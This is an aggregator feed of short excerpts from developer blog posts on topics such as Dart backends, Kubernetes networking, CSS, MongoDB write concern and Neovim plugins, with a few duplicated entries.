    Recomiendo ver antes - instalacion de Homebrew y asdf en ubuntu ( es corto son 5 comandos) Dart - Docu Dart - On DevDocs.io Shelf — Simple para APIs. Dart Frog — A fast, minimalistic backend framework for Dart Angel — Estilo Express, más completo. Serverpod — Más grande, orientado a microservicios, . Nota: No olvidemos que lo mas importante que tiene hoy Dart es Flutter, aunque casi que necesitat su propio apartado Por APT (via repositorio oficial) sudo apt update sudo apt install apt-transport-https sudo sh -c 'wget -qO- https://dl-ssl.google.com/linux/linux_signing_key.pub | apt-key add -' sudo sh -c 'wget -qO /etc/apt/sources.list.d/dart_stable.list https://storage.googleapis.com/dart-archive/channels/stable/release/latest/linux_packages/dart_stable.list' sudo apt update sudo apt inst…  ( 8 min )
    Ringer Movies: Best Picture Power Rankings & the Super-Sincerity of ‘Sentimental Value'
    Best Picture Power Rankings & the Super-Sincerity of ‘Sentimental Value’ Sean Fennessey and Amanda Dobbins kick things off by breaking down Warner Bros. Discovery’s looming sale—will Paramount, Comcast or Netflix swoop in?—before tearing into the baffling new Colleen Hoover flick Regretting You (starring Allison Williams and Dave Franco), which left them scratching their heads. Next up, they dive deep on Joachim Trier’s Sentimental Value, pondering why its earnest vibes click for some viewers and totally miss the mark for others. The episode wraps with Trier himself calling in to reveal how much of his own life shaped Stellan Skarsgård’s character, why being a good listener makes for great storytelling, and what it was like shooting in his childhood neighborhood. Watch on YouTube  ( 6 min )
    Optimizing Push Notification Logging at Scale - From Synchronous Bottleneck to Async Batching
    How I transformed notification logging from a blocking operation to a non-blocking batch system, handling 100,000+ logs efficiently? After refactoring my Firebase notification service into a queue-based architecture (Part 1) and breaking down the monolith into clean utilities (Part 2), I hit another bottleneck: logging. Saving push notification results to the database was blocking my notification sending pipeline, adding 30-50% overhead to every batch operation. Here's how I transformed the logging system from a synchronous bottleneck into an efficient asynchronous batch processor that handles 100,000+ logs without breaking a sweat. In the refactored queue-based system, the flow looked like this: Query DB → Filter Users → Send Notifications → ❌ WAIT for logs to save → Next chunk …  ( 18 min )
    Teaching Feature Flags to a Junior Changed How I Think About Architecture
    In a recent sprint, one of my junior developers asked me how *LaunchDarkly * actually fits into our React-Native-Web codebase. Not just the syntax — but the system around it. It turned into one of my best mentoring sessions this year. We discussed the fundamentals: LaunchDarkly’s purpose in multi-platform environments Why feature flags matter more than config toggles How variations allow safe experimentation How rules can target specific user segments Why controlled rollouts reduce production anxiety And how our RN-Web setup consumes flags in a unified pattern What surprised me wasn’t the complexity — it was how powerful these concepts become once a developer truly understands them. Teaching this reminded me of a simple truth: And sometimes, the biggest impact you make isn’t shipping a feature… It’s helping someone else ship one, safely.  ( 6 min )
    How to Embed a Wallet SDK in Your App (2025 Best Practices)
    TL;DR Embedding a wallet SDK is no longer just about generating keys and sending transactions. In 2025, it’s about onboarding flows, session keys, smart accounts, gas abstraction, and a UX that feels like any modern app. This guide walks through best practices used by production teams, patterns we’ve seen building Openfort’s embedded wallet SDK, and the architectural mistakes to avoid. 1. What “Embedding a Wallet SDK” Actually Means Most people think “wallet SDK” = signing transactions. In reality, embedding a wallet SDK means your app: creates a wallet inside your app’s UI manages authentication → (email, passkey, OAuth, device) handles key sessions creates + manages smart accounts (EOA → SCW) abstracts gas or sponsors transactions orchestrates signatures securely on web, mobile, or …  ( 9 min )
    Peer dependencies in (P)NPM
    If you dive into the specification of package.json you might be surprised to learn that next to the options dependencies and devDependencies there are also the options bundleDependencies, optionalDependencies and peerDependencies. Recently we have been migrating our main application to an architecture with multiple frontends based on NextJS. Since we have shared components and logic we expose these as packages with peer dependencies. And I found that a good number of my colleagues are unfamiliar with peer dependencies. In order to explain peer dependencies, it is beneficial to first look at how NPM and PNPM work. Whenever you install a dependency in your project, this dependency can have other dependencies (these are typically referred to as non-root dependencies or transitive dependencies…  ( 13 min )
    Inheritance vs Composition: The Principle of Independent Variation Explains Why
    Inheritance vs Composition: The Principle of Independent Variation Explains Why "Favor composition over inheritance" is one of the most cited design guidelines in software engineering. But have you ever wondered why this works—and more importantly, when inheritance is actually appropriate? The Principle of Independent Variation (PIV) provides a clear, principled answer by focusing on independent change drivers. PIV's guideline is elegantly simple: When two concerns vary independently → prefer composition When two concerns vary dependently → inheritance may be appropriate Let me show you what this means in practice. Consider a payment processing system. At first glance, you might design an inheritance hierarchy: abstract class Payment { // Infrastructure methods protected void log…  ( 10 min )
    Inheritance vs Composition: The Principle of Independent Variation Explains Why
    Inheritance vs Composition: The Principle of Independent Variation Explains Why "Favor composition over inheritance" is one of the most cited design guidelines in software engineering. But have you ever wondered why this works—and more importantly, when inheritance is actually appropriate? The Principle of Independent Variation (PIV) provides a clear, principled answer by focusing on independent change drivers. PIV's guideline is elegantly simple: When two concerns vary independently → prefer composition When two concerns vary dependently → inheritance may be appropriate Let me show you what this means in practice. Consider a payment processing system. At first glance, you might design an inheritance hierarchy: abstract class Payment { // Infrastructure methods protected void log…  ( 10 min )
    Turn Tweets Into Beautiful Images With <25 Lines of Code - A Practical Guide
    Social platforms love visuals. Tweets perform great, but screenshots? They're messy. Cropped weird. Inconsistent. Hard to brand. What if you could turn any tweet into a clean, polished, branded image with just a few lines of code? In this tutorial, you'll learn how to convert tweets into beautiful social-ready graphics using a simple REST API — no browser automation, no manual screenshots, and definitely no fiddling with design tools. Traditional screenshot APIs: Capture the whole browser with UI clutter Break when Twitter's layout changes Aren't consistent across devices Give you zero control over branding With a rendering-based endpoint, you can: Apply your brand fonts, colors, and watermarks Get a clean tweet layout every time Automate the whole process Use it for IG posts, LinkedIn …  ( 11 min )
    Drawing Triangles with CSS Using Borders… an Exception
    If you search online for how to draw a triangular shape in CSS, chances are the top results will still recommend the border method, as described in this 15-plus-year-old CSS-Tricks article: The idea is a box with zero width and height. The actual width and height of the arrow is determined by the width of the border. In an up arrow, for example, the bottom border is colored while the left and right are transparent, which forms the triangle. .arrow-up { width: 0; height: 0; border-left: 5px solid transparent; border-right: 5px solid transparent; border-bottom: 5px solid black; } I still stand by most of what I wrote in my original article: this method is a hacky solution from a time when there were no other CSS options. It works, but it isn't how borders were meant to be used. …  ( 8 min )
    10 idées de projets Web3 que les développeurs peuvent créer en 2025 pour améliorer leurs compétences et attirer des clients
    Les développeurs Web3 ont une opportunité unique en 2025. Les entreprises cherchent des solutions plus simples, les utilisateurs veulent de la transparence et les fondateurs early stage cherchent des prototypes rapides. La bonne nouvelle est que beaucoup de projets Web3 utiles peuvent être construits par un seul développeur. L’accessibilité du marché augmente aussi grâce aux services qui simplifient les interactions avec les actifs numériques. Les paiements crypto, par exemple, deviennent bien plus faciles pour les utilisateurs grâce à des outils comme MoonPay, ce qui permet aux développeurs de créer des produits Web3 plus intuitifs et plus compatibles avec le grand public. Voici dix idées concrètes que vous pouvez coder cette année. 1. Un explorateur Web3 minimaliste pour débutants Créer …  ( 7 min )
    Would a self-hosting app store grow or ruin self-hosting?
    I’m curious what the community thinks about this scenario. Immich (photos) Nextcloud (files) Jellyfin (media) Vaultwarden (passwords) Home Assistant (smart home) Guacamole (remote access) With a simple click - install - runs locally flow. No VPS, no cloud dependency, no third-party servers. Just your own device on your own network. Would this: Because right now the barrier is objectively high for most people: Docker knowledge required Reverse proxy setups Domain routing SSL, certificates Backups Updates Port forwarding Security hardening Many of us enjoy that challenge, but most people won’t go through that for privacy. So which future would you prefer? -Self-hosting stays niche, technical, and exclusive -Self-hosting becomes mainstream, easy, and widely adopted This ongoing debate is shaping how we at Safebox create a new tool for running multiple self-hosted apps locally, and we aim to align with community values. Some technical highlights of the project, for those interested: If you’d like to try it out, check the Github repo: https://github.com/safeboxnetwork/framework-scheduler Website: https://safebox.network/ https://discord.gg/aBP8bz6N8J Thanks in advance to anyone who takes a look or shares their thoughts.  ( 7 min )
    Controlling Kubernetes Network Traffic - Part 2
    In part 1 of this series, I have discussed Ingress controllers and Gateway APIs as a way to control ingress traffic into applications deployed on top of a Kubernetes cluster. In the second of this series, I will discuss intra-cluster (East-West) traffic passed through inside a Kubernetes cluster (i.e., between the Pods) and egress traffic outside the Kubernetes cluster. Before we deep dive into the article, let's review some important concepts: Container Network Interface (CNI): A Cloud Native Computing Foundation project that provides a standardized specification and set of plugins for configuring network interfaces and connectivity for Linux containers (Reference: CNI - the Container Network Interface). Network Policies: Rules that control the allowed inbound and outbound network …  ( 12 min )
    All Data and AI Weekly #217-24Nov2025
    All Data and AI Weekly #217-24Nov2025 ( AI, Data, NiFi, Iceberg, Polaris, Streamlit, Flink, Kafka, Python, Java, SQL, MCP, LLM, RAG, Cortex AI, AISQL, Search, Unstructured Data ) NiFi + AI + AI Data Cloud + Iceberg. https://www.reddit.com/r/DataEngineeringForAI/hot/ Monthly NYC and Youtube Events https://lu.ma/PINSAI https://github.com/tspannhw/TrafficAI https://docs.snowflake.com/en/user-guide/tables-iceberg-query-using-external-query-engine-snowflake-horizon 🎤 Where in the AI Landscape is Tim Spann Tim Spann is having an incredibly busy season, driving innovation and sharing key insights across the industry. Event / Project Details Link New App Launch: RPIThermalStreaming Tim has built and launched a new application for thermal streaming using RPi technology. Vie…  ( 7 min )
    Type-Safe Routing in React Without Redefining Routes (No Giant Constant Objects)
    Introduction The reason I ended up writing this post started from pure coincidence. While browsing through technical blogs(sorry its korean ref), I saw an article that made me think about path auto-completion. When I first read the post, I genuinely thought it was impressive. But there were parts I couldn’t immediately wrap my head around, and I kept wondering whether there was room for improvement. In the projects I had worked on before, I didn’t even have path auto-completion— Because of that, whenever a route changed, I had to update every single reference. So I decided that I needed path auto-completion and type safety of my own. But I wasn’t satisfied with applying the blog’s solution as it was. Not to criticize it, but I didn’t like the idea of redefining every route inside a singl…  ( 9 min )
    const and constexpr
    Introduction While working on a personal project, I learned about constexpr. I understood the difference between const and constexpr. However, I wondered why constexpr is necessary when const seems sufficient. I want to share what I found in this article. A keyword that promises the compiler that a value cannot be changed. const int MAX_USERS = 100; MAX_USERS = 200; // Compilation error! Characteristics The initialization value can be known at compile time or at runtime. int A; std::cin >> A; const int B = A; // Valid // Constant B is determined at runtime, but cannot be changed afterwards. // The value doesn't need to be known at compile time, but once set, it cannot be changed. It becomes more powerful when used with references and pointers. const int* ptr1; // Ca…  ( 8 min )
    Build, Manage, and Ship Python Projects the Easy Way using Poetry
    A guide to understanding Python Poetry, how it works, and how to use it in your next Python project. Python development looks simple from the outside. But managing real projects is rarely easy. You need to install packages, update them, avoid version conflicts, create virtual environments, and prepare your project for distribution. Many beginners think they can handle everything with pip and venv. This works for small scripts, but becomes messy once your project grows. Poetry solves this problem by giving you one clean workflow for managing Python projects from start to finish. Poetry brings structure to your project. It automates package management, creates virtual environments independently, and prepares your project for building and publishing. It replaces many scattered tools, bringing…  ( 12 min )
    select1
    SELECT row_identifier, RTRIM(XMLAGG(XMLELEMENT(E, chunk_content).EXTRACT('/text()') ORDER BY chunk_num).GETCLOBVAL()) as full_text FROM ( SELECT t.ROWID as row_identifier, c.chunk_num, blob_to_text_range(t.CONTRAGRP, c.start_byte, c.end_byte) as chunk_content FROM ZExecDetail t CROSS JOIN LATERAL ( SELECT level as chunk_num, (level * 4000 - 3999) as start_byte, (level * 4000) as end_byte FROM dual CONNECT BY level <= CEIL(blob_length(t.CONTRAGRP) / 4000) ) c WHERE t.INTERNTIMESTAMP = to_orating_from_syb('May 25 2012 12:50:13:406PM') AND t.ORDERID = '1214650eat6' ORDER BY t.ROWID, c.chunk_num ) WHERE chunk_content IS NOT NULL GROUP BY row_identifier  ( 6 min )
    Como Validar Dados de Forma Segura com Zod ☀️
    1. Entendo a funcionalidade do ZOD Zod é uma biblioteca de validação de dados para TypeScript que permite definir schemas de forma simples e tipada. Com ele, é possível validar desde valores primitivos, como strings e números, até estruturas complexas, como objetos e arrays, garantindo segurança e consistência nos dados da aplicação. const formSchema = z .object({ username: z.string().min(5).max(12).trim(), email: z.email().min(5).trim().trim(), password: z.string().min(7), confirmPassword: z.string().min(7), }) .refine( (data) => data.confirmPassword === data.password, "As senhas não se coencidem" ); Antes de começarmos, precisamos instalar o Zod em nosso projeto. Para isso, basta executar o seguinte comando: yarn add zod. Com a instalação conclu…  ( 8 min )
    AI Amnesia: Selectively Forgetting with Geometric Unlearning
    AI Amnesia: Selectively Forgetting with Geometric Unlearning Imagine an AI trained on customer data that needs to 'forget' information related to a specific individual for legal reasons. Or, consider a model plagued by bias from a tainted dataset, where we need to surgically remove the problematic influences without destroying the model entirely. Can we make AI selectively forget, without harming its overall performance? At its core, geometric unlearning is about carving out a precise 'forgetting pathway' in the model's learning space. It's like carefully removing a single brick from a building's foundation without causing a collapse. The key idea is to decompose the 'forget' update into two components: one that is orthogonal to the knowledge we want to keep and another that is tangenti…  ( 7 min )
    Awesome Directories launches on Product Hunt THIS FRIDAY
    Awesome Directories launches on Product Hunt THIS FRIDAY Here's everything you need to know in one thread 🧵 (And how you can help, if you want) What is it? 300+ curated launch directories for indie hackers Free forever Open source (Apache-2.0) No sign-up required Built by a founder, for founders CLI available for nerds Why I built it I wasted 20 hours researching directories for my last launch That's it. That's the reason. Key features: Filter by DR, dofollow, pricing Multi-select checklist export Community voting (wisdom of crowds) Real-time search Screenshot generator for social Submission tracking (optional) Launch day plan (Friday 12:01am PST): I'll be: Responding to EVERY comment on PH Sharing behind-the-scenes on Twitter Probably drinking too much coffee Refreshing PH every 30 seconds How you can help (if you want): ✓ Upvote on Product Hunt (Friday morning) I'm not asking for charity. Only if you genuinely find it useful. Link in the first comment Why am I building in public? Because 15k LinkedIn followers with 200 avg impressions taught me: Follower count means nothing. Transparency > polish. See you Friday 🚀 I'll be the guy nervously refreshing PH at 12:01am https://www.producthunt.com/products/awesome-directories Let's goooo buildinpublic #indiehacker #opensource  ( 6 min )
    Building a 3D Virtual Portfolio Room🏠
    Building a 3D Interactive Portfolio Room — Looking for Collaborators! Hi everyone — I’d like to share a creative side project that I’ve been working on: a 3D interactive room portfolio, built purely with HTML, CSS, and JavaScript, where certificates hang on the walls like art in a gallery. 👉 Repo: Repo 👉 Live Demo: Live Demo It’s an experimental portfolio template (not a finished product) — you can walk around a room, rotate your view, zoom in and out, and click on certificates to view them in full. Everything is done using CSS 3D transforms, so there’s no heavy graphics engine — just creative use of basic web technologies. Includes ambient sound effects, smooth animations (like an opening door), and keyboard interactions (+/- to zoom, Enter to open door, 0 to reset view). Fully r…  ( 8 min )
    Using AI in Employee Onboarding: Transforming the New Hire Experience
    Artificial Intelligence (AI) is revolutionizing how companies onboard new employees. Integrating AI into the employee onboarding process enhances efficiency, personalization, and engagement. From automating repetitive tasks to providing intelligent recommendations, AI ensures a seamless and modern onboarding journey. AI streamlines onboarding by automating administrative tasks like document collection, account setup, and policy acknowledgment. This reduces manual work for HR teams, allowing them to focus on meaningful interactions. AI also helps track progress and ensures that new hires complete all necessary steps on time. AI-driven systems can tailor the onboarding experience to individual roles, skills, and learning preferences. Personalized learning paths, automated reminders, and targ…  ( 7 min )
    8 Blockchain Networks Developers Prefer for Real Throughput and Scalability in 2025
    Developer interest in blockchain has shifted drastically over the past two years. Instead of chasing hype cycles, engineers are now focusing on networks with real throughput, reliable tooling, and predictable fees. Searches related to buying specific assets like XRP and Solana remain popular among retail users, but developers are prioritizing ecosystems that match their technical needs. Most newcomers encounter onboarding tools like MoonPay when entering crypto for the first time, yet developers quickly move beyond on-ramps to evaluate how these networks perform under real workloads. Below is a roundup listicle of the network developers are adopting for serious builds. 1. Ethereum and Layer 2 Rollups Developers remain loyal to Ethereum due to its extensive tooling and documentation. Rollup…  ( 7 min )
    Dell No Bootable Device: Why 73% of Repair Shop Diagnoses Are Wrong [9420]
    Dell "No Bootable Device" Error: Why 73% of Repair Shop Diagnoses Are Wrong (And the Free Fix They Won't Tell You) The screen goes black. White text appears. Your Dell laptop displays words that make your chest tighten: "No Bootable Device Found. Press any key to reboot." You press a key. It reboots. Same message. Your mind races through everything stored on that machine. The presentation due tomorrow. Tax documents. Three years of photos. All of it, suddenly inaccessible behind five words on a black screen. Here's what repair shops don't want you to know: this error almost never means what you think it means. Your hard drive probably didn't explode. Your files likely aren't gone. In fact, 73% of "No Bootable Device" errors don't require hardware replacement at all — they're configuratio…  ( 15 min )
    Dell No Bootable Device: Why 73% of Repair Shop Diagnoses Are Wrong [4112]
    Dell "No Bootable Device" Error: Why 73% of Repair Shop Diagnoses Are Wrong (And the Free Fix They Won't Tell You) The screen goes black. White text appears. Your Dell laptop displays words that make your chest tighten: "No Bootable Device Found. Press any key to reboot." You press a key. It reboots. Same message. Your mind races through everything stored on that machine. The presentation due tomorrow. Tax documents. Three years of photos. All of it, suddenly inaccessible behind five words on a black screen. Here's what repair shops don't want you to know: this error almost never means what you think it means. Your hard drive probably didn't explode. Your files likely aren't gone. In fact, 73% of "No Bootable Device" errors don't require hardware replacement at all — they're configuratio…  ( 15 min )
    DeployEase — A Fully Automated AWS EC2 Deployment Platform for Modern Developers
    Deploying applications to AWS EC2 often becomes a repetitive, manual, and error-prone process involving SSH setups, Nginx configurations, environment handling, instance provisioning, and constant debugging. DeployEase is a platform I built to eliminate all of that complexity. DeployEase provides a clean, guided, and automated workflow for deploying Node.js, Python, React, and static applications directly to AWS EC2 with real-time logs, SSH access, autoscaling support, volume resizing, and complete instance lifecycle management. Whether you're a solo developer, a student learning cloud, or a freelancer building for clients, DeployEase streamlines deployment into an efficient, predictable, one-click experience. DeployEase uses OAuth GitHub login to let you sign in instantly. Your GitHub repo…  ( 9 min )
    Stop Paying for SaaS: The Ultimate Open Source "Free Stack" 💸
    As developers (and especially as students), we often fall into the trap of signing up for a dozen "free tier" SaaS products. Notion for notes. Jira for tasks. Vercel for hosting. Slack for chat. It works great... until you hit a paywall, or they change their pricing, or you realize you don't actually own any of your data. I decided to fix this. Over the last few weeks, I curated a massive list of Open Source alternatives to the most popular SaaS tools. These are tools you can self-host, run locally, or use for free without giving away your privacy. I call it The Free Stack. Here are 5 of my favorite discoveries from the list: If you love Notion but hate that it's cloud-only, check out AppFlowy. It's built with Rust and Flutter, meaning it's blazingly fast. You have 100% control over your data. This is a game changer. Coolify is an all-in-one PaaS that helps you self-host your own applications, databases, and services. It connects to your GitHub and deploys automatically. Designers, rejoice. Penpot is the first open-source design and prototyping platform meant for cross-domain teams. It is SVG-based and works right in the browser. You probably know this one, but it deserves the hype. Supabase gives you a Postgres database, Authentication, instant APIs, and Realtime subscriptions. Stop paying huge monthly fees just to have a conversational form on your site. Typebot is a visual conversational form builder that you can host yourself. I have compiled 50+ tools covering: 🏰 Project Management 💬 Communication 🛠️ Dev Tools 📊 Analytics 🔒 Privacy You can find the full list on GitHub here: The Free Stack on GitHub If you found this useful, dropping a Star ⭐ on the repo really helps others find these tools! Let me know in the comments: What is your favorite self-hosted tool that I missed?  ( 7 min )
    What writeConcern: {w: 1} really means? Isolation and Durability
    In MongoDB, a write concern of w:1 indicates that a write operation is considered successful once the primary node acknowledges it, without waiting for the data to be replicated to secondary nodes. While this reduces latency, it also introduces the risk that if the primary fails before replication occurs, the written data could be lost. In replica sets with multiple voters, such writes can be rolled back if a failure happens before a majority acknowledges the change. This is not the default setting. Most clusters (Primary-Secondary-Secondary) use an implicit w:majority write concern, which ensures durability in the event of a zone failure. The implicit default write concern is w:1 only when an arbiter is present (Primary-Secondary-Arbiter) or when the topology lowers the number of data-bea…  ( 13 min )
    Meetily vs Otter.ai: Privacy-First Alternative for 2025
    Is Otter.ai uploading your confidential meeting data to the cloud? For enterprise teams handling sensitive information, healthcare organizations bound by HIPAA, or European companies navigating GDPR compliance, this isn't just a privacy concern—it's a business liability. According to IBM's 2024 Cost of a Data Breach Report, the global average cost of a data breach reached $4.88 million. Yet teams still need AI-powered meeting intelligence. Enter Meetily: a privacy-first alternative that delivers Otter.ai's capabilities without compromising your data security. TL;DR: ✅ Meetily: 100% local processing vs Otter.ai's cloud-only approach ✅ Complete data sovereignty: your data never leaves your device ✅ Dual transcription engines: Whisper (state-of-the-art accuracy) or Parakeet (optimized for spe…  ( 12 min )
    Ringer Movies: Best Picture Power Rankings & the Super-Sincerity of ‘Sentimental Value'
    Sean and Amanda dive headfirst into the looming Warner Bros. Discovery sale, debating whether Paramount, Comcast or Netflix will swoop in and what that means for the media landscape. They then shift gears to the baffling new Colleen Hoover adaptation Regretting You, sharing equal parts confusion and curiosity over its surprising twists. Next up: Joachim Trier’s Sentimental Value. They unpack why some viewers are moved to tears while others remain unmoved, then bring Trier himself on the mic to reveal how much of his own life seeps into Stellan Skarsgård’s character, the art of deep listening in filmmaking, and the nostalgia of shooting in his childhood neighborhood. Watch on YouTube  ( 6 min )
    Introduction to Terraform: Simplifying Infrastructure as Code
    In today's fast-paced world of software development, managing infrastructure can be a complex and time-consuming task. However, with the maturity of Infrastructure as Code (IaC) tools, developers and system administrators have powerful solutions to automate and streamline provisioning. In this post, we'll delve into Terraform, the industry-standard tool for this purpose, while also touching on the shifts in its ecosystem that every engineer should know about. Terraform, developed by HashiCorp (now an IBM company), is a source-available infrastructure provisioning and configuration management tool. It enables developers and operations teams to define and manage infrastructure resources declaratively using simple, human-readable configuration files.​ With Terraform, you can provision and man…  ( 8 min )
    What are your goals for the week? #154
    It's Thanksgiving week in America. Many of us will have a short work week. Then a holiday and a long weekend. What are you building this week? What are you working on this week? Are you attending any events this week? Are you doing anything for Thanksgiving? Continue Job Search. It's the end of the year so not many places are hiring. I doubt many are doing it this week due to the short week. Network. Redo resume Project work. Content for side project. Work on my own project. Follow Content & Project Calendar for November. Test streaming with new modem. Blog I want to blog more often and produce more than I did this time last year. Last year Nov word was count 5,568. So far this year, including this post 2,242. A bit behind but I'm working on two more posts for the week. 2,242/5,568…  ( 17 min )
    Recipe Step Normalizer — turn steps into JSON
    Shipped a tiny tool: Recipe Step Normalizer. Paste a list of recipe steps → get clean, numbered JSON you can use in code or automation. Demo: https://recipe-title-normalizer.vercel.app/step-normalizer Code: https://github.com/FelixJohnsson/recipe-title-normalizer  ( 6 min )
    Dell No Bootable Device: Why 73% of Repair Shop Diagnoses Are Wrong [9289]
    Dell "No Bootable Device" Error: Why 73% of Repair Shop Diagnoses Are Wrong (And the Free Fix They Won't Tell You) The screen goes black. White text appears. Your Dell laptop displays words that make your chest tighten: "No Bootable Device Found. Press any key to reboot." Here's what repair shops don't want you to know: this error almost never means what you think it means. Your hard drive probably didn't explode. Your files likely aren't gone. In fact, 73% of "No Bootable Device" errors don't require hardware replacement at all — they're configuration problems that take 15 minutes to fix yourself for free. The diagnostic process for "No Bootable Device" is simple, but it requires time. Here's the reality: Diagnosing configuration problems takes 30-60 minutes Replacing a hard drive takes…  ( 8 min )
    Lost in Translation: The Hidden Risks of Relying on Auto-Translation
    AI Auto translation tools. In a global market where every single message matters, even the tiniest mistake in ChatGPT translation can cost the business trust, revenue and loss of brand credibility. Nowadays, companies translate the content faster than ever, however, accuracy has not caught up with the speed. And it is exactly this gap where problems start. For many years, companies used to depend on basic auto-translation tools to promote global communication. These tools were said to provide the advantages of speed, affordability and convenience but their hidden risks were never mentioned. The main issue is that of accuracy. The basic tools do word-by-word translation rather than capturing the deeper meaning. Thus, it leads to errors in tone, cultural mismatches and expressions that misle…  ( 11 min )
    Training a model to predict a persuasion score for documents, but hitting a wall
    I’m building DocBeacon - secure document sharing and tracking platform. It shows exactly how readers interact with each page: scroll depth, dwell time, replays, and even heatmaps of attention. Recently I’ve been thinking about going a step further. Instead of just showing behavior metrics, what if DocBeacon could estimate how emotionally or cognitively engaged a reader is with a document? Something like a persuasion score that reflects how much a sales proposal actually moved them — did they seem convinced, neutral, or totally uninterested? The basic idea sounds simple: use past reading behavior data and train a model to predict the likelihood of acceptance. But here’s the problem: I have plenty of behavioral data (how people read), yet no solid labels on what happened after they read. Without knowing whether the reader ended up accepting the proposal, replying, or ghosting, the model can’t really learn meaningful correlations. Has anyone here tackled a similar cold-start problem? Curious to hear how others would approach building a persuasion predictor when you only have half the story.  ( 8 min )
    I built a custom range slider for Retool with a histogram built in
    I built a custom range slider for Retool with a histogram built in Range sliders in Retool are great until you need to understand your data. They let you pick min and max values, but they don’t tell you anything about the distribution itself. I kept running into this when building internal tools, so I built a custom range slider that includes a histogram, handles uneven distributions and exposes clean values. It’s written in TypeScript and works as a native Retool component. 🔗 GitHub repo: https://github.com/StackdropCO/custom-range-slider-retool-component 🔗 More Awesome Retool components here: https://github.com/StackdropCO/awesome-retool-components Here’s why I built it and how to use it. A real example that pushed me to do this: I needed a filter for “years of experience” inside a R…  ( 8 min )
    Meme Monday
    Meme Monday! Today's cover image comes from last week's thread. DEV is an inclusive space! Humor in poor taste will be downvoted by mods.  ( 7 min )
    Neovim x Unreal Engine: Zero-Config Debugging & A Dedicated Explorer 🚀
    Intro Here is this week's update on my plugin suite for Unreal Engine development in Neovim. My stance hasn't changed: "For heavy-duty debugging, full IDEs like Visual Studio or Rider are still king." So, this week, I released a debugging plugin to grant that wish, along with a specialized file explorer dedicated to the Unreal Engine project structure. UDB.nvim: A zero-config debugger bridge (no launch.json needed!). UNX.nvim: A lightweight logical file viewer & symbol tree specialized for UE projects. With these additions, I feel like Neovim has finally become a true "IDE for Unreal Engine." UDB.nvim is, as the name suggests, a bridge connecting Neovim (nvim-dap) and the Unreal Engine debugging environment. Its biggest feature is "Almost Zero-Config." launch.json. UDB automates this b…  ( 8 min )
    What is Digital Transformation Consulting?
    Some companies seem to keep moving forward while others struggle to keep pace. The difference often lies in digital transformation consulting, not in buying the latest software, but in rethinking how a business operates at every level. It’s about modernizing outdated systems, improving workflows, and helping teams work faster, smarter, and more efficiently. Consultants play a crucial role in this process, guiding organizations through strategy, technology adoption, and cultural change. They help businesses bridge the gap between where they are and where they need to be, ensuring progress that’s both measurable and sustainable. This article explores what digital transformation consulting really means, how it works in practice, and what to look for when your business is ready to evolve. Wha…  ( 11 min )
    A Client Asked Me to Add AI. I Spent 2 Weeks Researching the Costs. Here's What I Found.
    The math that changed how I think about AI features A client messaged me about adding ChatGPT to their invoicing app: "Can we add AI to help users write invoice descriptions? Budget is $15K." They have 500 users paying $20/month. Seemed straightforward. I started prototyping. The code was simple: const response = await openai.chat.completions.create({ model: "gpt-4", messages: [{ role: "user", content: userPrompt }] }); But before quoting, I decided to calculate the real long-term costs. What I found surprised me. I spent two weeks diving into AI economics. Not because I'm some expert, but because I couldn't find clear information anywhere about what it actually costs to run AI features at scale. Quick note: I built a simple calculator while researching this. If you want to run your o…  ( 9 min )
    Top 7 GenAI Usecases in Pharma
    2024 was the year of pilot projects. Pharma companies experimented with GenAI, tested narrow use cases, and debated its potential. In 2025, the conversation has shifted. Leaders are no longer asking if GenAI belongs in life sciences. The question now is where and how. That shift matters. GenAI is not just a shiny new tool. Done right, it can transform how pharmaceutical companies accelerate R&D, manage compliance-heavy processes, and improve the daily lives of both field teams and patients. But done wrong, it risks creating inefficiencies, compliance headaches, or worse, regulatory pushback. At Newpage, we see two patterns emerge when working with pharma and biotech teams. First, there are a handful of use cases that are mature, safe, and ready to deliver ROI right now. Second, there are o…  ( 7 min )
    Why Most Salesforce Implementations in Pharma Don’t Deliver (And How to Avoid the Trap)
    Every life sciences leader agrees on one thing: Salesforce should be a game-changer for pharma. On paper, it offers a complete view of HCPs, faster patient engagement, compliant workflows, and insights that help commercial and medical teams move smarter. But here is the paradox. Despite all that potential, a large percentage of Salesforce implementations in pharma fall flat. Some never take off, others become expensive shelfware, and a few even create compliance risks that no one anticipated. So what is really going on? As explored in detail at Newpage, it is rarely the platform itself that causes failure. The real challenge lies at the intersection of three forces: technology, regulation, and real-world pharma workflows. If those are not aligned from the start, even the best Salesforce bu…  ( 7 min )
    Microsoft и GitHub представили инструмент для устранения уязвимостей с помощью ИИ
    Microsoft и GitHub объединили аналитику времени выполнения с рабочими процессами разработки, чтобы использовать ИИ для приоритизации угроз и автоматизации исправлений. Нативная интеграция между Microsoft Defender for Cloud и GitHub Advanced Security позволит решить проблему «многолетней накопившейся задолженности по безопасности в корпоративных кодовых базах» Инструмент уже доступен в общедоступной предварительной версии. Он подключает аналитику времени выполнения из производственных сред непосредственно к рабочим процессам разработки. Цель — помочь организациям определить приоритетность уязвимостей и использовать ИИ для их более быстрого устранения. «На протяжении всей моей карьеры я наблюдал, как тенденции в области уязвимостей менялись. Неважно, насколько хорош и точен наш механизм обн…  ( 8 min )
    Vargula: Terminal Styling with Color Theory & Accessibility Built In
    🎨 Stop Fighting with ANSI Codes Let's be honest — styling terminal output in Python has always been a bit of a pain: # The old way 😓 print('\033[1m\033[91mError:\033[0m \033[4mFile not found\033[0m') Compare that to this: # The Vargula way ✨ import vargula as vg vg.write("Error: File not found") Much better, right? But Vargula goes way beyond just making syntax prettier. It brings color theory, accessibility checking, and professional UI components to your terminal. pip install vargula import vargula as vg # HTML-like tags for styling vg.write("This is red and bold") # Hex colors work too vg.write("Custom orange text") # Background colors with @ vg.write("Black on yellow</@ye…  ( 10 min )
    What is included in managed cloud support?
    Managed cloud support with Steadfast Solutions covers infrastructure management, performance monitoring, and 24/7 help desk assistance. They handle migration, configuration, and ongoing optimization to keep your cloud environment secure and efficient. This service includes server administration, security monitoring, backup, and maintenance. By outsourcing these tasks, Steadfast Solutions lets your internal IT team focus on strategic projects while ensuring seamless cloud operations and quick problem resolution.  ( 6 min )
    Quack into Action! Building Brilliant Agents with Docling-Agent & mellea
